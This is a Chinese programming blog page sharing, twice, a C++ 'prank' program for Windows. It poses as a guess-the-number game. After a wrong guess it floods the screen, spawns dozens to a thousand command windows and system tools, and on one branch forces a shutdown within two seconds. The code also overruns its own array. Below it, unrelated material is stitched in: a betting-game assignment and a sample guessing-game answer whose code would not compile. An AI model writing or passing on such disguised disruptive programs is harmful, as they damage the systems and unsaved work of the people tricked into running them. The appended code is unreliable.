C++整蛊代码(猜数字)

#include<bits/stdc++.h>
#include<cstdio>
#include<windows.h>
#pragma comment (lib, "User32.lib")
using namespace std;
int n_cs(int n)
{
	int t=0,s=1;
	while (s<n)
	{
		s*=2;
		t++;
	}
	return t;
}
int main()
{
	srand(time(0));
	int chlen=rand()%50000;
	char ch[chlen];
	//string str[]={"你干嘛~哈哈哎呦","哈嗨嗨,我又来-当老六","针不戳,住在山里面-针不戳"};
	for (int i=0; i<=chlen; i++)
	{
		ch[i]=rand()%128;
	}
	printf("猜数字(输入0-n的数(输入n),不小于100):");
	int n;
	scanf("%d",&n);
	while (n<100)
	{
		printf("错误,请重新输入:");
		scanf("%d",&n);
	}
	int cishu=n_cs(n);
	printf("你有%d次机会来猜这个数。\n",cishu);
	int m=rand()%n;
	int s;
	for (int i=1; i<=cishu; i++)
	{
		printf("请输入猜的数:");
		scanf("%d",&s);
		if (s>m)
		{
			cout<<"比这个小"<<endl;
		}
		else if (s<m)
		{
			cout<<"比这个大"<<endl;
		}
		else if (s==m)
		{
			printf("恭喜你,猜中了!\n游戏结束。\n");
			return 0;
		}
	}
	for (int i=0; i<chlen; i++)
	{
		int x=rand()%0xF;
		int y=rand()%0xF;
		int z=x*16+y;
		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), z);
		cout<<ch[i];
		Sleep(rand()%3);
	}
	printf("很遗憾,你没有猜对。你最好马上关闭此exe文件,否则后果自负\n");
	int message=MessageBox(NULL,TEXT("是否关闭?"),TEXT("警告"),MB_YESNO+48);
	if (message==6)
	{
		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
        for (int i=0; i<10; i++)
	    {
		system("start cmd");
		Sleep(200);
	    }
	    Sleep(4000);
	    system("start winver");
	    system("start cliconfg");
	    system("start rundll32");
	    system("start cleanmgr");
        MessageBox(NULL,"自己关","我是标题",MB_OK);
	}
	else if (message==7)
	{
		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
		for (int i=0; i<1000; i++)
		{
			system("start cmd");
		}
		system("shutdown -s -t 2");
	}
	return 0;
}

#include<bits/stdc++.h>
#include<cstdio>
#include<windows.h>
#pragma comment (lib, "User32.lib")
using namespace std;
int n_cs(int n)
{
    int t=0,s=1;
    while (s<n)
    {
        s*=2;
        t++;
    }
    return t;
}
int main()
{
    srand(time(0));
    int chlen=rand()%50000;
    char ch[chlen];
    //string str[]={"你干嘛~哈哈哎呦","哈嗨嗨,我又来-当老六","针不戳,住在山里面-针不戳"};
    for (int i=0; i<=chlen; i++)
    {
        ch[i]=rand()%128;
    }
    printf("猜数字(输入0-n的数(输入n),不小于100):");
    int n;
    scanf("%d",&n);
    while (n<100)
    {
        printf("错误,请重新输入:");
        scanf("%d",&n);
    }
    int cishu=n_cs(n);
    printf("你有%d次机会来猜这个数。\n",cishu);
    int m=rand()%n;
    int s;
    for (int i=1; i<=cishu; i++)
    {
        printf("请输入猜的数:");
        scanf("%d",&s);
        if (s>m)
        {
            cout<<"比这个小"<<endl;
        }
        else if (s<m)
        {
            cout<<"比这个大"<<endl;
        }
        else if (s==m)
        {
            printf("恭喜你,猜中了!\n游戏结束。\n");
            return 0;
        }
    }
    for (int i=0; i<chlen; i++)
    {
        int x=rand()%0xF;
        int y=rand()%0xF;
        int z=x*16+y;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), z);
        cout<<ch[i];
        Sleep(rand()%3);
    }
    printf("很遗憾,你没有猜对。你最好马上关闭此exe文件,否则后果自负\n");
    int message=MessageBox(NULL,TEXT("是否关闭?"),TEXT("警告"),MB_YESNO+48);
    if (message==6)
    {
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
        for (int i=0; i<10; i++)
        {
        system("start cmd");
        Sleep(200);
        }
        Sleep(4000);
        system("start winver");
        system("start cliconfg");
        system("start rundll32");
        system("start cleanmgr");
        MessageBox(NULL,"自己关","我是标题",MB_OK);
    }
    else if (message==7)
    {
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0x07);
        for (int i=0; i<1000; i++)
        {
            system("start cmd");
        }
        system("shutdown -s -t 2");
    }
    return 0;
}

  • 28
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
guessing and betting number game The user starts with 100 dollars, and is able to bet and guess until they quit or have no more money. In each turn, they are asked for a bet. If they enter 0, then the program should give a farewell message and quit. The bet must be positive and within their available balance, If they enter incorrectly, the program should set the bet to their balance and tell them this. Once a bet is entered, they must pick a number between 1 and 10 (you do not need to errorcheck or correct this). This guess is then compared to a number the computer randomly generates each time (also between 1 and 10). If the guess is correct, the user wins the amount of their bet. If the guess is incorrect, the user will lose their bet divided by 5 and multiplied by the distance from the correct number - e.g. if the bet is 50, the computer’s number is 5 and the user guesses 7, then the user will lose 20 dollars( 50/5 * (7-5) = 20 ). However, they should not lose more than their balance, so if their balance is 50, the bet is 40, the computer’s number is 1 and the user guesses 10, (40/5 * (10-1) = 72 > 50 )then they should lose 50. After each turn, the program should display that turn's winnings (or loss amount) and the new balance,and then repeat the game until the user either quits or has no money left. Dollar values should be formatted in the standard way with two decimal places and a $ in front. Sample output from the program is below. You should make your program match this exactly (except for your name). An appropriate welcome message with your name in it should be shown at the start of the program. Assignment 1 : Guessing Game Written by yourname Please enter your bet (up to $100.00): $50 Guess a number between 1 and 10: 5 Correct! You win $50.00 Your new balance is $150.00 Please enter your bet (up to $150.00): $200 Your bet is $150.00 Guess a number between 1 and 10: 6 Wrong! The computer chose: 4 You lose $60.00 Your new balance is $90.00 Please enter your bet (up to $90.00): $80 Guess a number between 1 and 10: 1 Wrong! The computer chose: 7 You lose $90.00 Thank you for playing! Press any key to continue . . . Another Sample: CP1200 Guessing Game Written by Lindsay Ward Please enter your bet (up to $100.00): $-20 Your bet is $100.00 Guess a number between 1 and 10: 5 Wrong! The computer chose: 2 You lose $60.00 Your new balance is $40.00 Please enter your bet (up to $40.00): $10.50 Guess a number between 1 and 10: 12 Wrong! The computer chose: 2 You lose $21.00 Your new balance is $19.00 Please enter your bet (up to $19.00): $0 Thank you for playing! Press any key to continue . . . srand( static_cast<int>(time(0))) ; 初始化 computerNumber = 1 + rand( ) % 10 ; 产生随机数 cout << fixed << setprecision(2) ; 控制输出显示2位小数
好的,我可以帮你概述一个简单的 C++ 猜数字游戏的代码结构。这个游戏通常会有一个随机生成的数字作为目标,玩家需要猜测这个数字。以下是一个基本的步骤和代码片段: ```cpp #include <iostream> #include <cstdlib> // 包含用于生成随机数的头文件 #include <ctime> // 设置时间以便每次运行游戏都生成新的随机数 int generateRandomNumber(int min, int max) { srand(time(0)); // 初始化随机数种子 return (rand() % (max - min + 1)) + min; } void guessTheNumber(int target, int attempts = 0) { std::cout << "我想了一个1到100之间的数字,你猜是多少?"; int guess; cin >> guess; if (guess == target) { std::cout << "恭喜,你猜对了!尝试次数:" << attempts + 1 << std::endl; } else if (guess < target) { std::cout << "太小了,再试一次。" << std::endl; guessTheNumber(target, ++attempts); } else { std::cout << "太大了,再试一次。" << std::endl; guessTheNumber(target, ++attempts); } } int main() { int secretNumber = generateRandomNumber(1, 100); guessTheNumber(secretNumber); return 0; } ``` 在这个例子中: - `generateRandomNumber` 函数用于创建一个1到100之间的随机数。 - `guessTheNumber` 函数负责接收用户的输入,比较用户猜测的数字与目标数字,并根据结果提示用户是否猜大或猜小,直到猜对为止。 - 主函数`main`调用`generateRandomNumber`并传入参数,然后开始游戏。 如果你想增加一些额外的功能,比如限制猜测次数、显示剩余次数等,可以根据需求修改这个基础代码。如果你有更具体的问题或者想要了解其他内容,请告诉我,我会进一步解释或提供相关的代码示例。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值